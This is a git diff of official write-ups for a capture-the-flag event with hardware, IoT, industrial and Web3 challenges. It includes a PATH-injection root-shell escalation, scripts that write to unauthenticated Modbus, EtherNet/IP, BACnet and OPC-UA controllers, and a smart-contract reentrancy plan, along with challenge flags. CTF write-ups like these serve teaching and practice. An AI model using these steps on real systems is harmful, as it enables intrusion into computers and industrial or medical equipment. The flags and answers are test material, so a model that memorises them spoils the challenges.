# Passphrase: wired-med-013 (from Stage 1 system_config table)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Stage 5: Privilege Escalation
|
||||
|
||||
### Find SUID binaries
|
||||
|
||||
```bash
|
||||
find / -perm -4000 -type f 2>/dev/null
|
||||
```
|
||||
|
||||
Found: `/opt/navi-monitor/vital-check` (SUID root)
|
||||
|
||||
### Analyze the binary
|
||||
|
||||
```bash
|
||||
strings /opt/navi-monitor/vital-check
|
||||
```
|
||||
|
||||
The binary calls `system("logger -t vital-check 'check complete'")` using a **relative path** for `logger`.
|
||||
|
||||
### PATH injection
|
||||
|
||||
```bash
|
||||
echo '#!/bin/bash' > /tmp/logger
|
||||
echo '/bin/bash -p' >> /tmp/logger
|
||||
chmod +x /tmp/logger
|
||||
export PATH=/tmp:$PATH
|
||||
/opt/navi-monitor/vital-check
|
||||
```
|
||||
|
||||
This spawns a root shell (`bash -p` preserves the SUID euid).
|
||||
|
||||
### Get the flag
|
||||
|
||||
```bash
|
||||
cat /root/root.txt
|
||||
# ESPILON{r00t_0f_s41nt3_m1k4}
|
||||
```
|
||||
@ -1,75 +0,0 @@
|
||||
# Cyberia Grid -- Solution
|
||||
|
||||
## Overview
|
||||
EtherNet/IP server simulating a PLC at Cyberia nightclub. The controller
|
||||
manages power infrastructure and contains hidden tags with encoded KIDS
|
||||
experiment data. A write-triggered "Psyche Processor" reveals the flag.
|
||||
|
||||
## Steps
|
||||
|
||||
### 1. Connect and Enumerate Tags
|
||||
Connect to the EtherNet/IP server on port 44818. List all available tags.
|
||||
|
||||
```bash
|
||||
# Using cpppo client
|
||||
python -m cpppo.server.enip.client --address HOST:44818 \
|
||||
'Zone_Main_Power' 'Zone_VIP_Power' 'Zone_Basement_Power' \
|
||||
'Sound_System_dB' 'BPM' 'Lighting_Main[0-7]' \
|
||||
'KIDS_Subject[0-15]' 'Knights_Cipher[0-3]' \
|
||||
'Psyche_Processor[0-3]' 'Psyche_Status' 'Decoded_Output'
|
||||
```
|
||||
|
||||
### 2. Analyze Infrastructure Tags
|
||||
- `Zone_Main_Power = 1`, `Zone_VIP_Power = 1` -- normal
|
||||
- `Zone_Basement_Power = 0` -- basement is OFF (suspicious)
|
||||
- `Sound_System_dB = 95`, `BPM = 140`
|
||||
- `Lighting_Main = [255, 200, 180, 150, 100, 80, 60, 40]`
|
||||
|
||||
### 3. Analyze Hidden Tags
|
||||
- `KIDS_Subject[0-15]`: 16 DINTs containing XOR-encoded flag data
|
||||
- `Knights_Cipher[0-3]`: partial XOR key `[0x4B, 0x6E, 0x69, 0]` -- 4th byte is missing!
|
||||
- `Psyche_Processor[0-3]`: all zeros -- awaiting activation
|
||||
- `Psyche_Status = "DORMANT"`
|
||||
|
||||
### 4. Derive Activation Sequence
|
||||
The 4 Psyche_Processor values are derived from infrastructure tag values:
|
||||
|
||||
| Index | Formula | Value |
|
||||
|-------|---------|-------|
|
||||
| 0 | `Zone_Basement_Power XOR BPM` | `0 ^ 140 = 140` |
|
||||
| 1 | `Sound_System_dB` | `95` |
|
||||
| 2 | `sum(Lighting_Main) % 256` | `1065 % 256 = 17` |
|
||||
| 3 | `0x1337` (hacker constant) | `4919` |
|
||||
|
||||
### 5. Activate Psyche Processor
|
||||
Write `[140, 95, 17, 4919]` to `Psyche_Processor[0-3]`.
|
||||
|
||||
```python
|
||||
from cpppo.server.enip.get_attribute import proxy_simple as device
|
||||
with device(host="HOST", port=44818) as via:
|
||||
for i, val in enumerate([140, 95, 17, 4919]):
|
||||
via.write(via.parameter_substitution(f"Psyche_Processor[{i}]"), val)
|
||||
```
|
||||
|
||||
### 6. Read Flag
|
||||
After the PLC scan cycle (~500ms), read `Decoded_Output`:
|
||||
|
||||
```python
|
||||
flag = via.read(via.parameter_substitution("Decoded_Output"))
|
||||
print(flag)
|
||||
```
|
||||
|
||||
Also: `Knights_Cipher[3]` is now populated (0x67 = 'g'), completing the
|
||||
key `"Knig"` which can also be used to manually XOR-decode `KIDS_Subject`.
|
||||
|
||||
## Key Insights
|
||||
- `Zone_Basement_Power = 0` is the first hint that something is hidden underground
|
||||
- The 0x1337 constant echoes the Operating Room challenge pattern
|
||||
- The PLC scan cycle polling pattern mimics real industrial controller behavior
|
||||
- Without authentication, anyone can read/write tags -- a common EtherNet/IP vulnerability
|
||||
|
||||
## Flag
|
||||
`ESPILON{cyb3r14_ps7ch3_pr0c3ss0r}`
|
||||
|
||||
## Author
|
||||
Eun0us
|
||||
@ -1,84 +0,0 @@
|
||||
# Operating Room -- Solution
|
||||
|
||||
## Overview
|
||||
Modbus TCP server simulating a hospital operating room control system.
|
||||
The player must discover the correct unit ID, map the registers, reverse
|
||||
the XOR-encoded state machine, and execute 6 timed transitions.
|
||||
|
||||
## Steps
|
||||
|
||||
### 1. Discover Unit ID
|
||||
Scan Modbus unit IDs (slave addresses). The server only responds to **unit ID 13**.
|
||||
Default unit ID 1 returns Modbus exceptions.
|
||||
|
||||
```python
|
||||
from pymodbus.client import ModbusTcpClient
|
||||
client = ModbusTcpClient("HOST")
|
||||
client.connect()
|
||||
for uid in range(1, 20):
|
||||
r = client.read_holding_registers(0, 1, slave=uid)
|
||||
if not r.isError():
|
||||
print(f"Unit ID {uid} responds!")
|
||||
```
|
||||
|
||||
### 2. Map Registers
|
||||
|
||||
Read holding registers 0-255 on unit 13:
|
||||
|
||||
- **Registers 0-19**: Operating room telemetry (temperature, humidity, pressure, O2, etc.)
|
||||
- **Register 13**: `0x4C4E` ("LN" -- Lain easter egg)
|
||||
- **Register 19**: `0x0D13` -- this is the XOR key
|
||||
- **Registers 100-105**: State machine (state, encoded hint, timer, transitions, error, key)
|
||||
- **Register 105**: `0x0D13` -- XOR key copy (confirms reg 19)
|
||||
- **Register 110**: Write target (trigger register)
|
||||
- **Registers 200-215**: All zeros (flag area, populated after completion)
|
||||
|
||||
### 3. Understand the State Machine
|
||||
|
||||
- Register 100 = current state (starts at 0)
|
||||
- Register 101 = encoded hint
|
||||
- Register 105 = XOR key (0x0D13)
|
||||
- Decode: `expected_value = reg_101 XOR 0x0D13`
|
||||
- Write `expected_value` to register 110 to advance the state
|
||||
- Each transition must happen before register 102 (timer) reaches 0
|
||||
|
||||
### 4. Execute Transitions
|
||||
|
||||
| State | Subsystem | Decoded Value | Source |
|
||||
|-------|-----------|--------------|--------|
|
||||
| 0 | HVAC | 220 | reg 0 (temperature) |
|
||||
| 1 | Pressure | 15 | reg 2 (pressure) |
|
||||
| 2 | O2 | 50 | reg 3 (O2 flow) |
|
||||
| 3 | Ventilation | 1200 | reg 4 (fan RPM) |
|
||||
| 4 | Lighting | 800 | reg 5 (lux) |
|
||||
| 5 | Safety | 4919 (0x1337) | special |
|
||||
|
||||
### 5. Read Flag
|
||||
|
||||
After all 6 transitions, register 100 = 7 (complete).
|
||||
Read registers 200-215 and decode uint16 pairs to ASCII.
|
||||
|
||||
```python
|
||||
regs = client.read_holding_registers(200, 16, slave=13).registers
|
||||
flag = ""
|
||||
for val in regs:
|
||||
if val == 0:
|
||||
break
|
||||
flag += chr((val >> 8) & 0xFF) + chr(val & 0xFF)
|
||||
print(flag)
|
||||
```
|
||||
|
||||
## Key Insights
|
||||
|
||||
- XOR key `0x0D13` is stored in two places (reg 19 and reg 105) as a breadcrumb
|
||||
- The decoded values for states 0-4 match the current telemetry readings
|
||||
- State 5 uses the special value `0x1337` (hacker reference)
|
||||
- Wrong writes or timeouts reset the state machine to 0
|
||||
|
||||
## Flag
|
||||
|
||||
`ESPILON{m0dbu5_0p3r4t1ng_r00m}`
|
||||
|
||||
## Author
|
||||
|
||||
Eun0us
|
||||
@ -4,7 +4,7 @@
|
||||
|-------|-------|
|
||||
| Category | OT |
|
||||
| Difficulty | Hard |
|
||||
| Points | 513 |
|
||||
| Points | 600 |
|
||||
| Author | Eun0us |
|
||||
| CTF | Espilon 2026 |
|
||||
|
||||
|
||||
@ -1,78 +0,0 @@
|
||||
# Protocol Seven -- Solution
|
||||
|
||||
## Overview
|
||||
Multi-protocol challenge requiring cross-referencing three OT protocols.
|
||||
Eiri Masami distributed Protocol Seven's components across BACnet, OPC-UA,
|
||||
and EtherNet/IP. Players must extract data from all three and combine
|
||||
them to decrypt the flag.
|
||||
|
||||
## Architecture
|
||||
|
||||
| Layer | Protocol | Port | Provides |
|
||||
|-------|----------|------|----------|
|
||||
| 1 | BACnet/IP | 47809/udp | XOR encryption key (8 bytes) |
|
||||
| 2 | OPC-UA | 4841/tcp | Encrypted payload (32 bytes) |
|
||||
| 3 | EtherNet/IP | 44819/tcp | Rotation nonce (integer) |
|
||||
|
||||
## Steps
|
||||
|
||||
### 1. Port Discovery
|
||||
Scan the target -- three open ports: 47809/udp, 4841/tcp, 44819/tcp.
|
||||
|
||||
### 2. Layer 1 -- BACnet Key Extraction
|
||||
Send WhoIs to port 47809 → IAm from device 7777.
|
||||
Read object-list: 8 AnalogValue objects named `Harmonic_0` through `Harmonic_7`.
|
||||
|
||||
Read the device description: **"Key Harmonic Array -- integer components matter"**
|
||||
|
||||
Read presentValue of each harmonic:
|
||||
```
|
||||
Harmonic_0 = 69.14 -> int(69) = 'E'
|
||||
Harmonic_1 = 105.92 -> int(105) = 'i'
|
||||
Harmonic_2 = 114.37 -> int(114) = 'r'
|
||||
Harmonic_3 = 105.68 -> int(105) = 'i'
|
||||
Harmonic_4 = 95.44 -> int(95) = '_'
|
||||
Harmonic_5 = 75.81 -> int(75) = 'K'
|
||||
Harmonic_6 = 101.22 -> int(101) = 'e'
|
||||
Harmonic_7 = 121.55 -> int(121) = 'y'
|
||||
```
|
||||
|
||||
**XOR key = `Eiri_Key` (8 bytes)**
|
||||
|
||||
### 3. Layer 2 -- OPC-UA Payload Extraction
|
||||
Connect anonymously to `opc.tcp://HOST:4841/protocol7/`.
|
||||
Read `Server.NamespaceArray` → find `urn:protocol-seven:payload`.
|
||||
|
||||
Browse `Protocol7_Vault`:
|
||||
- `Payload_Encrypted`: 32-byte ByteString (the ciphertext)
|
||||
- `Layer_Info`: "Payload encrypted with 8-byte repeating XOR key -- see BACnet harmonics"
|
||||
- `IV_Hint`: "Rotation offset from CIP controller -- read NONCE tag"
|
||||
|
||||
### 4. Layer 3 -- EtherNet/IP Nonce Extraction
|
||||
Connect to EtherNet/IP on port 44819. Read tags:
|
||||
- `NONCE = 3` (the rotation offset)
|
||||
- `Layer_Hint`: "Rotate payload by NONCE bytes before XOR decryption"
|
||||
- `Assembly_Check = [47809, 4841, 44819]` (confirms all three ports)
|
||||
|
||||
### 5. Decryption
|
||||
```python
|
||||
# XOR payload with repeating key
|
||||
xored = bytes(payload[i] ^ key[i % 8] for i in range(32))
|
||||
# Rotate right by NONCE (undo the left rotation used during encryption)
|
||||
flag = xored[-nonce:] + xored[:-nonce]
|
||||
# Strip null padding
|
||||
print(flag.rstrip(b'\x00').decode())
|
||||
```
|
||||
|
||||
## Key Insights
|
||||
- The BACnet device description explicitly says "integer components matter"
|
||||
- The OPC-UA hints point directly to BACnet and EtherNet/IP
|
||||
- The EtherNet/IP `Assembly_Check` tag confirms the three-port architecture
|
||||
- `Eiri_Key` as the XOR key is a mnemonic hint (Eiri Masami is the creator)
|
||||
- The challenge teaches multi-protocol OT environments and data cross-referencing
|
||||
|
||||
## Flag
|
||||
`ESPILON{pr0t0c0l_7_m3rg3_c0mpl3t3}`
|
||||
|
||||
## Author
|
||||
Eun0us
|
||||
@ -4,7 +4,7 @@
|
||||
|-------|-------|
|
||||
| Category | OT |
|
||||
| Difficulty | Medium |
|
||||
| Points | 196 |
|
||||
| Points | 400 |
|
||||
| Author | Eun0us |
|
||||
| CTF | Espilon 2026 |
|
||||
|
||||
|
||||
@ -1,74 +0,0 @@
|
||||
# Schumann Resonance -- Solution
|
||||
|
||||
## Overview
|
||||
Raw BACnet/IP server simulating an environmental monitoring station at
|
||||
Tachibana General Laboratories, Sub-basement 7. The device contains hidden
|
||||
flag fragments XOR-encoded in object descriptions. Writing the Schumann
|
||||
resonance frequency (7.83 Hz) to the tuning register reveals the flag.
|
||||
|
||||
## Steps
|
||||
|
||||
### 1. Device Discovery
|
||||
Send a BACnet WhoIs broadcast to UDP port 47808. The device responds
|
||||
with IAm: device instance **783** (reference to 7.83 Hz).
|
||||
|
||||
```python
|
||||
# Using BAC0:
|
||||
import BAC0
|
||||
bacnet = BAC0.lite(ip="YOUR_IP/24")
|
||||
bacnet.whois()
|
||||
# -> Device:783 "Tachibana-ENV-SB7"
|
||||
```
|
||||
|
||||
### 2. Enumerate Objects
|
||||
Read the object-list property from Device:783:
|
||||
- AnalogInput:0-3 -- normal environmental sensors (temp, humidity, pressure, CO2)
|
||||
- **AnalogInput:4** -- EMF_Resonance = 7.83, description = **"PROTOCOL_SEVEN_CARRIER"**
|
||||
- AnalogValue:10 -- Freq_Multiplier = 0.0 (writable!)
|
||||
- AnalogValue:11-17 -- Fragment_0 through Fragment_6 (descriptions are hex strings)
|
||||
- BinaryValue:100 -- Resonance_Lock = inactive
|
||||
- CharStringValue:200 -- Research_Log = "Access Denied"
|
||||
|
||||
### 3. Identify Key
|
||||
Device instance 783 → 7.83 Hz → Schumann Resonance.
|
||||
XOR key = `0x0783` (2-byte big-endian from device instance).
|
||||
|
||||
### 4. Decode Fragments
|
||||
Each Fragment_N has a description containing a hex-encoded XOR'd string.
|
||||
XOR each byte with the alternating key bytes (0x07, 0x83):
|
||||
|
||||
```python
|
||||
key = (0x07, 0x83)
|
||||
for frag in fragments:
|
||||
enc = bytes.fromhex(frag)
|
||||
dec = bytes(b ^ key[i % 2] for i, b in enumerate(enc))
|
||||
print(dec.decode())
|
||||
```
|
||||
|
||||
Concatenate all decoded fragments → the flag.
|
||||
|
||||
### 5. Activate (Alternative Path)
|
||||
Write `7.83` to AnalogValue:10 (Freq_Multiplier):
|
||||
|
||||
```python
|
||||
# WriteProperty: object=AnalogValue:10, property=presentValue, value=7.83
|
||||
```
|
||||
|
||||
This sets BinaryValue:100 (Resonance_Lock) to active and writes the
|
||||
flag to CharStringValue:200 (Research_Log).
|
||||
|
||||
### 6. Read Flag
|
||||
Read the presentValue of CharStringValue:200 (Research_Log).
|
||||
|
||||
## Key Insights
|
||||
- Device instance 783 is the key derivation hint (7.83 Hz)
|
||||
- AnalogInput:4 description "PROTOCOL_SEVEN_CARRIER" confirms the Schumann connection
|
||||
- Freq_Multiplier description says "set to Schumann harmonic to activate"
|
||||
- Two solve paths: decode fragments manually OR activate and read Research_Log
|
||||
- No authentication on BACnet -- a real-world building automation vulnerability
|
||||
|
||||
## Flag
|
||||
`ESPILON{sch0m4nn_r3s0n4nc3_783}`
|
||||
|
||||
## Author
|
||||
Eun0us
|
||||
@ -4,7 +4,7 @@
|
||||
|-------|-------|
|
||||
| Category | OT |
|
||||
| Difficulty | Medium-Hard |
|
||||
| Points | 413 |
|
||||
| Points | 500 |
|
||||
| Author | Eun0us |
|
||||
| CTF | Espilon 2026 |
|
||||
|
||||
|
||||
@ -1,76 +0,0 @@
|
||||
# Tachibana SCADA -- Solution
|
||||
|
||||
## Overview
|
||||
OPC-UA server simulating Tachibana General Laboratories' SCADA system.
|
||||
The server allows anonymous connections (SecurityPolicy None) and contains
|
||||
a hidden namespace with Eiri Masami's backdoor methods.
|
||||
|
||||
## Steps
|
||||
|
||||
### 1. Connect Anonymously
|
||||
Connect to `opc.tcp://HOST:4840/tachibana/` without credentials.
|
||||
The server accepts anonymous connections -- a common OT misconfiguration.
|
||||
|
||||
```python
|
||||
from asyncua import Client
|
||||
client = Client("opc.tcp://HOST:4840/tachibana/")
|
||||
await client.connect()
|
||||
```
|
||||
|
||||
### 2. Discover Namespaces
|
||||
Read the `Server.NamespaceArray` to discover all registered namespaces:
|
||||
- `ns=0`: OPC-UA standard
|
||||
- `ns=1`: Server internal
|
||||
- `ns=2`: `urn:tachibana:scada` (public SCADA data)
|
||||
- `ns=3`: `urn:tachibana:eiri:kids` (hidden!)
|
||||
|
||||
```python
|
||||
ns_array = await client.get_namespace_array()
|
||||
```
|
||||
|
||||
### 3. Browse Public Namespace (ns=2)
|
||||
Standard SCADA data: power distribution, cooling systems, Wired Interface Array.
|
||||
Note `Resonance_Hz = 7.83` (Schumann resonance breadcrumb).
|
||||
|
||||
### 4. Browse Hidden Namespace (ns=3)
|
||||
Navigate to `EiriMasami` folder:
|
||||
- `KIDS_Project/` contains variables: `SubjectCount=0`, `Protocol7_Version="7.0.0-alpha"`, `Activation_Key="????????"`
|
||||
- `Backdoor/` contains two methods: `Authenticate` and `ExtractResearchData`
|
||||
|
||||
### 5. Analyze Method Signatures
|
||||
Read the `InputArguments` property of each method:
|
||||
- `Authenticate(username: String, key_hash: ByteString) -> session_token: String`
|
||||
- `ExtractResearchData(session_token: String, project_id: UInt32) -> data: String`
|
||||
|
||||
The `key_hash` description says: "16-byte truncated SHA-256 of the project name"
|
||||
|
||||
### 6. Derive Credentials
|
||||
- **username**: `eiri` (from namespace URI `urn:tachibana:eiri:kids`)
|
||||
- **key_hash**: `SHA256("KIDS")[:16]` (KIDS = project name from the namespace)
|
||||
|
||||
```python
|
||||
import hashlib
|
||||
key_hash = hashlib.sha256(b"KIDS").digest()[:16]
|
||||
```
|
||||
|
||||
### 7. Authenticate
|
||||
Call the `Authenticate` method with the derived credentials.
|
||||
Returns a hex session token valid for 5 minutes.
|
||||
|
||||
### 8. Extract Protocol Seven
|
||||
Call `ExtractResearchData` with the session token and `project_id=7`
|
||||
(from `Protocol7_Version = "7.0.0-alpha"` -- project number 7).
|
||||
|
||||
Returns the flag.
|
||||
|
||||
## Key Insights
|
||||
- The namespace URI `urn:tachibana:eiri:kids` directly contains the username ("eiri") and hash source ("kids")
|
||||
- `Protocol7_Version = "7.0.0-alpha"` hints that `project_id = 7`
|
||||
- Anonymous OPC-UA access is a real-world ICS misconfiguration
|
||||
- Method argument descriptions provide hints about the expected input format
|
||||
|
||||
## Flag
|
||||
`ESPILON{31r1_k1ds_pr0t0c0l_s3v3n}`
|
||||
|
||||
## Author
|
||||
Eun0us
|
||||
97
README.md
@ -1,74 +1,50 @@
|
||||

|
||||
|
||||
# ESPILON CTF 2026 — Official Write-ups
|
||||
|
||||
Official write-ups for **ESPILON CTF 2026**, a hardware/IoT/OT themed CTF
|
||||
set in the *Serial Experiments Lain* universe.
|
||||
|
||||
> Challenges remain accessible at [ctf.espilon.net](https://ctf.espilon.net).
|
||||
> Scoreboard frozen as of **March 26, 2026**.
|
||||
|
||||
---
|
||||
|
||||
## Edition Stats
|
||||
|
||||
| Stat | Value |
|
||||
|------|-------|
|
||||
| Registered participants | 1 410 |
|
||||
| Players on scoreboard | 264 |
|
||||
| Total correct solves | 1 344 |
|
||||
| Challenges | 25 |
|
||||
| Categories | 6 |
|
||||
|
||||
---
|
||||
|
||||
## Scoreboard — Top 10
|
||||
|
||||
| Rank | Player | Score |
|
||||
|------|--------|-------|
|
||||
| 1 | silent | 7 397 |
|
||||
| 2 | Khalid | 5 903 |
|
||||
| 3 | 0xkakashi | 5 504 |
|
||||
| 4 | BRODSKY | 5 500 |
|
||||
| 5 | s13w00 | 5 500 |
|
||||
| 6 | mungsul | 5 403 |
|
||||
| 7 | bridgingdragon | 5 403 |
|
||||
| 8 | pavel?! | 5 300 |
|
||||
| 9 | fun88337766 | 5 005 |
|
||||
| 10 | D4RKCYPH3R | 5 005 |
|
||||
|
||||
> Points shown are final decayed values at scoreboard freeze (March 26, 2026).
|
||||
> Scoreboard frozen as of March 25, 2026.
|
||||
|
||||
---
|
||||
|
||||
## Challenge Index
|
||||
|
||||
| # | Challenge | Category | Difficulty | Points |
|
||||
|---|-----------|----------|------------|--------|
|
||||
| 1 | [ESP Start](ESP/ESP_Start/README.md) | ESP | Easy | 100 |
|
||||
| 2 | [Jnouned Router](ESP/Jnouner_Router/README.md) | ESP | Multi | 100+200+300+400 |
|
||||
| 3 | [CAN Bus Implant](Hardware/CAN_Bus_Implant/README.md) | Hardware | Medium-Hard | 400 |
|
||||
| 4 | [Glitch The Wired](Hardware/Glitch_The_Wired/README.md) | Hardware | Medium-Hard | 100 |
|
||||
| 5 | [NAVI I2C Sniff](Hardware/NAVI_I2C_Sniff/README.md) | Hardware | Medium-Hard | 442 |
|
||||
| 6 | [Phantom JTAG](Hardware/Phantom_JTAG/README.md) | Hardware | Medium-Hard | 464 |
|
||||
| 7 | [Serial Experimental 00](Hardware/Serial_Experimental_00/README.md) | Hardware | Easy | 50 |
|
||||
| 8 | [Signal Tap Lain](Hardware/Signal_Tap_Lain/README.md) | Hardware | Easy | 100 |
|
||||
| 9 | [Wired SPI Exfil](Hardware/Wired_SPI_Exfil/README.md) | Hardware | Medium-Hard | 100 |
|
||||
| 10 | [The Wired](Intro/The_Wired/README.md) | Intro | Easy | 80 |
|
||||
| 11 | [Anesthesia Gateway](IoT/Anesthesia_Gateway/README.md) | IoT | Medium-Hard | 495 |
|
||||
| 12 | [Lain Br34kC0r3 V2](IoT/Lain_Br34kC0r3_V2/README.md) | IoT | Hard | 150 |
|
||||
| 13 | [Lets All Hate UART](IoT/Lets_All_Hate_UART/README.md) | IoT | Medium-Hard | 100 |
|
||||
| 14 | [Nurse Call](IoT/Nurse_Call/README.md) | IoT | Easy | 50 |
|
||||
| 15 | [Observe The Wired](IoT/Observe_The_Wired/README.md) | IoT | Medium-Hard | 499 |
|
||||
| 16 | [Wired Airwave 013](IoT/Wired_Airwave_013/README.md) | IoT | Medium | 398 |
|
||||
| 17 | [Accela Signal](Misc/Accela_Signal/README.md) | Misc | Hard | 536 |
|
||||
| 18 | [LAYER ZERO](Misc/LAYER_ZERO/README.md) | Misc | Hard | 479 |
|
||||
| 19 | [Patient Portal](Misc/Patient_Portal/README.md) | Misc | Medium-Hard | 340 |
|
||||
| 20 | [Cyberia Grid](OT/Cyberia_Grid/README.md) | OT | Medium-Hard | 500 |
|
||||
| 21 | [Operating Room](OT/Operating_Room/README.md) | OT | Medium-Hard | 500 |
|
||||
| 22 | [Protocol Seven](OT/Protocol_Seven/README.md) | OT | Hard | 513 |
|
||||
| 23 | [Schumann Resonance](OT/Schumann_Resonance/README.md) | OT | Medium | 196 |
|
||||
| 24 | [Tachibana SCADA](OT/Tachibana_SCADA/README.md) | OT | Medium-Hard | 413 |
|
||||
|---|-----------|----------|-----------|--------|
|
||||
| 1 | [ESP Start](ESP/ESP_Start/README.md) | ESP | Easy | 50 |
|
||||
| 2 | [Jnouned Router](ESP/Jnouner_Router/README.md) | ESP | Multi | 100/200/300/400 |
|
||||
| 3 | [Phantom Byte](ESP/Phantom_Byte/README.md) | ESP | Multi | 100/200/300/500 |
|
||||
| 4 | [CAN Bus Implant](Hardware/CAN_Bus_Implant/README.md) | Hardware | Medium-Hard | 500 |
|
||||
| 5 | [Glitch The Wired](Hardware/Glitch_The_Wired/README.md) | Hardware | Medium-Hard | 500 |
|
||||
| 6 | [NAVI I2C Sniff](Hardware/NAVI_I2C_Sniff/README.md) | Hardware | Medium-Hard | 500 |
|
||||
| 7 | [Phantom JTAG](Hardware/Phantom_JTAG/README.md) | Hardware | Medium-Hard | 500 |
|
||||
| 8 | [Serial Experimental 00](Hardware/Serial_Experimental_00/README.md) | Hardware | Easy | 150 |
|
||||
| 9 | [Signal Tap Lain](Hardware/Signal_Tap_Lain/README.md) | Hardware | Medium-Hard | 500 |
|
||||
| 10 | [Wired SPI Exfil](Hardware/Wired_SPI_Exfil/README.md) | Hardware | Medium-Hard | 500 |
|
||||
| 11 | [The Wired](Intro/The_Wired/README.md) | Intro | Medium | 400 |
|
||||
| 12 | [Anesthesia Gateway](IoT/Anesthesia_Gateway/README.md) | IoT | Medium-Hard | 500 |
|
||||
| 13 | [Cr4cK W1F1](IoT/Cr4cK_w1f1/README.md) | IoT | Medium | — |
|
||||
| 14 | [Lain Br34kC0r3](IoT/Lain_Br34kC0r3/README.md) | IoT | Medium | 500 |
|
||||
| 15 | [Lain Br34kC0r3 V2](IoT/Lain_Br34kC0r3_V2/README.md) | IoT | Hard | 500 |
|
||||
| 16 | [Lain VS Knights](IoT/Lain_VS_Knights/README.md) | IoT | Hard | — |
|
||||
| 17 | [Lets All Hate UART](IoT/Lets_All_Hate_UART/README.md) | IoT | Medium-Hard | 500 |
|
||||
| 18 | [Lets All Love UART](IoT/Lets_All_Love_UART/README.md) | IoT | Easy | 500 |
|
||||
| 19 | [Nurse Call](IoT/Nurse_Call/README.md) | IoT | Easy | 200 |
|
||||
| 20 | [Observe The Wired](IoT/Observe_The_Wired/README.md) | IoT | Medium-Hard | — |
|
||||
| 21 | [Wired Airwave 013](IoT/Wired_Airwave_013/README.md) | IoT | Medium | 500 |
|
||||
| 22 | [Accela Signal](Misc/Accela_Signal/README.md) | Misc | Hard | 500 |
|
||||
| 23 | [AETHER NET](Misc/AETHER_NET/README.md) | Misc | Insane | — |
|
||||
| 24 | [Last Train 451](Misc/Last_Train_451/README.md) | Misc | TBD | — |
|
||||
| 25 | [LAYER ZERO](Misc/LAYER_ZERO/README.md) | Misc | Hard | 600 |
|
||||
| 26 | [Patient Portal](Misc/Patient_Portal/README.md) | Misc | Medium-Hard | 500 |
|
||||
| 27 | [Cyberia Grid](OT/Cyberia_Grid/README.md) | OT | Medium-Hard | 500 |
|
||||
| 28 | [Operating Room](OT/Operating_Room/README.md) | OT | Medium-Hard | 500 |
|
||||
| 29 | [Protocol Seven](OT/Protocol_Seven/README.md) | OT | Hard | 600 |
|
||||
| 30 | [Schumann Resonance](OT/Schumann_Resonance/README.md) | OT | Medium | 400 |
|
||||
| 31 | [Tachibana SCADA](OT/Tachibana_SCADA/README.md) | OT | Medium-Hard | 500 |
|
||||
| 32 | [GANTZ BALL CONTRACT](Web3/GANTZ_BALL_CONTRACT/README.md) | Web3 | Insane | 500 |
|
||||
| 33 | [TACHIBANA FIRMWARE REGISTRY](Web3/TACHIBANA_FIRMWARE_REGISTRY/README.md) | Web3 | Insane | 500 |
|
||||
|
||||
---
|
||||
|
||||
@ -79,9 +55,10 @@ set in the *Serial Experiments Lain* universe.
|
||||
| **ESP** | ESP32 firmware — flashing, UART, WiFi, custom protocols |
|
||||
| **Hardware** | Bus interfaces — UART, I2C, SPI, JTAG, CAN, signal decoding, voltage glitching |
|
||||
| **Intro** | Entry point — ESPILON bot C2 infrastructure |
|
||||
| **IoT** | IoT protocols — MQTT, CoAP, UART, SDR/FSK |
|
||||
| **IoT** | IoT protocols — MQTT, CoAP, UART, SDR/FSK, WiFi cracking |
|
||||
| **Misc** | Mixed — signal processing, web exploitation, multi-pivot |
|
||||
| **OT** | Industrial protocols — Modbus, BACnet, OPC-UA, EtherNet/IP |
|
||||
| **Web3** | Ethereum — reentrancy, assembly underflow, bytecode reversal |
|
||||
|
||||
---
|
||||
|
||||
|
||||
193
Web3/GANTZ_BALL_CONTRACT/README.md
Normal file
@ -0,0 +1,193 @@
|
||||
# GANTZ_BALL_CONTRACT
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| Category | Web3 |
|
||||
| Difficulty | Insane |
|
||||
| Points | 500 |
|
||||
| Author | Eun0us |
|
||||
| CTF | Espilon 2026 |
|
||||
|
||||
---
|
||||
|
||||
## Description
|
||||
|
||||
The Black Sphere runs a smart contract that tracks hunter scores. Kill aliens, earn points.
|
||||
Reach **100 points** and claim your freedom.
|
||||
|
||||
But there's a catch: **no source code**. Only the deployed bytecode.
|
||||
|
||||
- `nc espilon.net 1337` — Challenge console
|
||||
- `http://espilon.net:8545` — Anvil RPC endpoint
|
||||
|
||||
Reverse the bytecode. Understand the scoring mechanism. Find the exploit. Claim your 100 points.
|
||||
Escape the game.
|
||||
|
||||
*"Nobody said you had to play fair."*
|
||||
|
||||
---
|
||||
|
||||
## TL;DR
|
||||
|
||||
Decompile the bytecode to recover the ABI. Find that the contract uses two separate reentrancy
|
||||
guards (`_stakeLock` and `_rewardLock`) instead of a single global lock. While inside `unstake()`,
|
||||
`_stakeLock=1` but `_rewardLock=0` — enabling cross-function reentrancy into `claimReward()`.
|
||||
Brute-force 4 mission proof preimages. Deploy an attacker contract that earns 110 points, stakes
|
||||
100, then re-enters `claimReward()` from the `receive()` callback during `unstake()`.
|
||||
|
||||
---
|
||||
|
||||
## Tools
|
||||
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| Dedaub / Heimdall / Panoramix | EVM bytecode decompilation |
|
||||
| Foundry (`forge`, `cast`) | Contract deployment and interaction |
|
||||
| Python 3 + `web3.py` | Storage slot computation for preimage brute-force |
|
||||
|
||||
---
|
||||
|
||||
## Solution
|
||||
|
||||
### Step 1 — Get the bytecode
|
||||
|
||||
```text
|
||||
nc <host> 1337
|
||||
bytecode
|
||||
```
|
||||
|
||||

|
||||
|
||||
### Step 2 — Decompile
|
||||
|
||||
Submit bytecode to Dedaub (app.dedaub.com) or run Heimdall:
|
||||
|
||||
```bash
|
||||
heimdall decompile <bytecode_hex>
|
||||
```
|
||||
|
||||
Recovered functions:
|
||||
|
||||
| Function | Signature |
|
||||
|----------|-----------|
|
||||
| `register()` | Enroll as a hunter |
|
||||
| `claimKill(uint256, string)` | Earn points per mission |
|
||||
| `stakePoints(uint256)` payable | Stake points, deposit ETH (1 pt = 0.001 ETH) |
|
||||
| `unstake()` | Withdraw ETH, restore points |
|
||||
| `claimReward()` | Claim reward if `points + stakedPoints >= 100` |
|
||||
|
||||
**Critical finding:** two separate guards `_stakeLock` (slot protecting `stakePoints`/`unstake`)
|
||||
and `_rewardLock` (protecting `claimReward`). During `unstake()`, `_stakeLock=1` but
|
||||
`_rewardLock=0` — the window for cross-function reentrancy.
|
||||
|
||||

|
||||
|
||||
### Step 3 — Find the mission proof preimages
|
||||
|
||||
